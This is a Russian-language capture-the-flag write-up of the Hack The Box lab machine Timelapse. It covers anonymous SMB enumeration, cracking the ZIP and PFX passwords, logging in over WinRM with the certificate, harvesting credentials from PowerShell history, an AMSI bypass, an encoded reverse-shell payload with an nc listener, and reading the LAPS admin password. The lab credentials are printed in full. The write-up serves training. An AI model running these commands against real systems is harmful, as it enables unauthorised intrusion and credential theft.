April 1

HTB Timelapse. Атакуем Windows Remote Management и работаем с сертификатами

RalfHacker

В этом рай­тапе мы с тобой взло­маем лег­кую по уров­ню слож­ности машину на Windows: порабо­таем с сер­тифика­тами для служ­бы WinRM, а так­же с LAPS — что­бы повысить при­виле­гии.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts, что­бы было удоб­нее обра­щать­ся к ней:

10.10.11.152 timelapse.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Мы наш­ли мно­го откры­тых пор­тов:

  • 53 — служ­ба DNS;
  • 88 — служ­ба авто­риза­ции Kerberos;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC);
  • 139 — служ­ба имен NetBIOS;
  • 389, 636, 3268, 3269 — служ­ба LDAP;
  • 445 — служ­ба SMB;
  • 464 — служ­ба сме­ны пароля Kerberos;
  • 593 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC над HTTPS);
  • 5986 — служ­ба уда­лен­ного управле­ния Windows (WinRM).

Порт 445 — SMB

Сра­зу про­ведем базовую раз­ведку SMB. Прос­тым под­клю­чени­ем с помощью CrackMapExec узна­ем вер­сию опе­раци­онной сис­темы и имя хос­та.

cme smb 10.10.11.152

Под­клю­чение с помощью CrackMapExec

Так­же сто­ит поп­робовать под­клю­чение от име­ни гос­тя (ано­ним­ную авто­риза­цию).

cme smb 10.10.11.152 -u guest -p '' --shares

Об­щие SMB-ресур­сы

И находим дос­тупную для чте­ния дирек­торию Shares.

ТОЧКА ВХОДА

Под­клю­чим­ся к это­му ресур­су с помощью ути­литы smbclient из пакета скрип­тов impacket и прос­мотрим дос­тупные фай­лы (при зап­росе пароля ничего не вво­дим).

smbclient.py [email protected] use Shares ls

Со­дер­жимое ресур­са Shares

В катало­ге Dev най­дем архив ZIP.

cd Dev ls

Со­дер­жимое катало­га Dev

Ска­чива­ем его коман­дой get, а при попыт­ке рас­паковать у нас зап­росят пароль.

Рас­паков­ка архи­ва

Па­роль не проб­лема, если он сла­бый, так как его мож­но переб­рать. Для перебо­ра будем исполь­зовать ути­литу fcrackzip.

fcrackzip -v -D -u winrm_backup.zip -p rockyou.txt

Ре­зуль­тат под­бора пароля

В архи­ве находим файл .pfx — сер­тификат в фор­мате PKCS#12. При попыт­ке открыть и прос­мотреть его у нас сно­ва зап­рашива­ют пароль.

Ре­зуль­тат прос­мотра PFX-фай­ла

ТОЧКА ОПОРЫ

Бу­дем наде­ять­ся, что и тут исполь­зует­ся сла­бый пароль. Мож­но пре­обра­зовать файл в фор­мат прог­раммы John the Ripper — прод­винуто­го брут­форсе­ра хешей. Вмес­те с «Джо­ном» обыч­но пос­тавля­ется ре­пози­торий скрип­тов для пре­обра­зова­ния хешей из раз­ных фор­матов фай­лов в понима­емый брут­форсе­ром фор­мат. В дан­ном слу­чае нам нужен скрипт pfx2john.

/usr/share/john/pfx2john.py legacyy_dev_auth.crt

Ре­зуль­тат пре­обра­зова­ния фай­ла

Сох­раним хеш в файл и переда­дим на перебор. В качес­тве сло­варя будем исполь­зовать зна­мени­тый rockyou.

john --wordlist=./rockyou.txt pfx.hash

Ре­зуль­тат перебо­ра хеша

Те­перь, ког­да мы получи­ли пароль от сер­тифика­та PFX, нам нуж­но извлечь из него отдель­но сер­тификат и отдель­но ключ. Для это­го вос­поль­зуем­ся ути­литой OpenSSL, которой нуж­но ука­зать:

  • фор­мат фай­ла и сам вход­ной файл (параметр -in);
  • имя фай­ла, в который записать резуль­тат (параметр -out);
  • па­рамет­ры (для клю­ча -nocerts, а для получе­ния сер­тифика­та -clcerts и -nokeys).

openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out key.pem -nodes

По­луче­ние клю­ча

openssl pkcs12 -in legacyy_dev_auth.pfx -clcerts -nokeys -out cert.crt -nodes

По­луче­ние сер­тифика­та

Те­перь нам нуж­но очис­тить фай­лы клю­ча и сер­тифика­та. Для это­го оста­вим в фай­лах толь­ко дан­ные пос­ле -----BEGIN. Теперь у нас все готово, что­бы под­клю­чить­ся к служ­бе WinRM по сер­тифика­ту. Для это­го исполь­зуем кру­тую ути­литу Evil-WinRM.

evil-winrm -S -k ./clear_key.pem -c ./clear_cert.crt -i 10.10.11.152

Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

Пер­вым делом получим информа­цию о текущем поль­зовате­ле. Это поможет более точ­но понять кон­текст, в котором мы работа­ем.

powershell

whoami /all

Ин­форма­ция о текущем поль­зовате­ле

Та­ким обра­зом, под­кон­троль­ный нам поль­зователь сос­тоит в груп­пе раз­работ­чиков. Никаких про­ектов на дис­ке най­ти не уда­лось, поэто­му пос­мотрим логи PowerShell, а имен­но вот этот history-файл:

C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ConsoleHost_history.txt

Прос­мотр исто­рии команд PowerShell

Из это­го фай­ла мы получа­ем учет­ные дан­ные для под­клю­чения от име­ни поль­зовате­ля svc_deploy.

$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock {whoami}

Вы­пол­нение коман­ды от име­ни поль­зовате­ля svc_deploy

Мы можем получить дру­гой кон­текст выпол­нения, поэто­му про­кинем реверс‑шелл. Но сна­чала нуж­но отклю­чить AMSI, сде­лать это мож­но с помощью встро­енно­го в Evil-WinRM средс­тва Bypass-4MSI.

menuBypass-4MSI

Патч AMSI

Ре­верс‑шелл возь­мем с кру­того он­лай­нового генера­тора, где нуж­но ука­зать хост и порт для обратно­го под­клю­чения. Кро­ме реверс‑шел­ла, получим и коман­ду для лис­тенера:

rlwrap -cAr nc -lnvp 4321

Ге­нери­рова­ние реверс‑шел­ла

А теперь выпол­няем наш реверс‑шелл.

$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)invoke-command -computername localhost -credential $c -port 5986 -usessl -SessionOption $so -scriptblock { powershell -e JABjAGw... }

Бэк­коннект от име­ни svc_deploy

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Так как рабочий кон­текст изме­нил­ся, сно­ва зап­росим информа­цию о поль­зовате­ле.

whoami /all

Ин­форма­ция о поль­зовате­ле

Поль­зователь сос­тоит в груп­пе LAPS_Readers, что поз­воля­ет ему читать свой­ства объ­ектов, свя­зан­ных с LAPS.

Справка: Local Administrator Password Solution

Local Administrator Password Solution (LAPS) поз­воля­ет цен­тра­лизо­ван­но управлять пароля­ми адми­нис­тра­торов на всех компь­юте­рах домена и хра­нить информа­цию о пароле и дате его сме­ны непос­редс­твен­но в объ­ектах типа Computer в Active Directory. LAPS осно­ван на исполь­зовании спе­циаль­ных фун­кций GPO, которые, в свою оче­редь, осно­ваны на Group Policy Client Side Extension. Это неболь­шой модуль, который уста­нав­лива­ется на рабочие стан­ции. Это рас­ширение GPO исполь­зует­ся для генера­ции уни­каль­ного пароля локаль­ного адми­нис­тра­тора на каж­дом компь­юте­ре домена. Пароль адми­нис­тра­тора авто­мати­чес­ки меня­ется с ука­зан­ной пери­одич­ностью (по умол­чанию каж­дые 30 дней). Зна­чение текуще­го пароля хра­нит­ся в кон­фиден­циаль­ном атри­буте ms-Mcs-AdmPwd учет­ной записи компь­юте­ра в Active Directory, дос­туп на прос­мотр содер­жимого атри­бута регули­рует­ся груп­пами безопас­ности AD.

На компь­юте­ре уста­нов­лен модуль PowerShell Active Directory, поэто­му мы можем получить зна­чение ms-Mcs-AdmPwd одной прос­той коман­дой.

Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd, ms-Mcs-AdmPwdExpirationTime

По­луче­ние пароля локаль­ного адми­нис­тра­тора

Мы узна­ли пароль локаль­ного адми­на, поэто­му можем под­клю­чить­ся к служ­бе WinRM.

evil-winrm -S -u 'Administrator' -p '0[haC+zxJ+Tq)+;a)1DU9qG#' -i 10.10.11.152

Флаг рута

Ма­шина зах­вачена!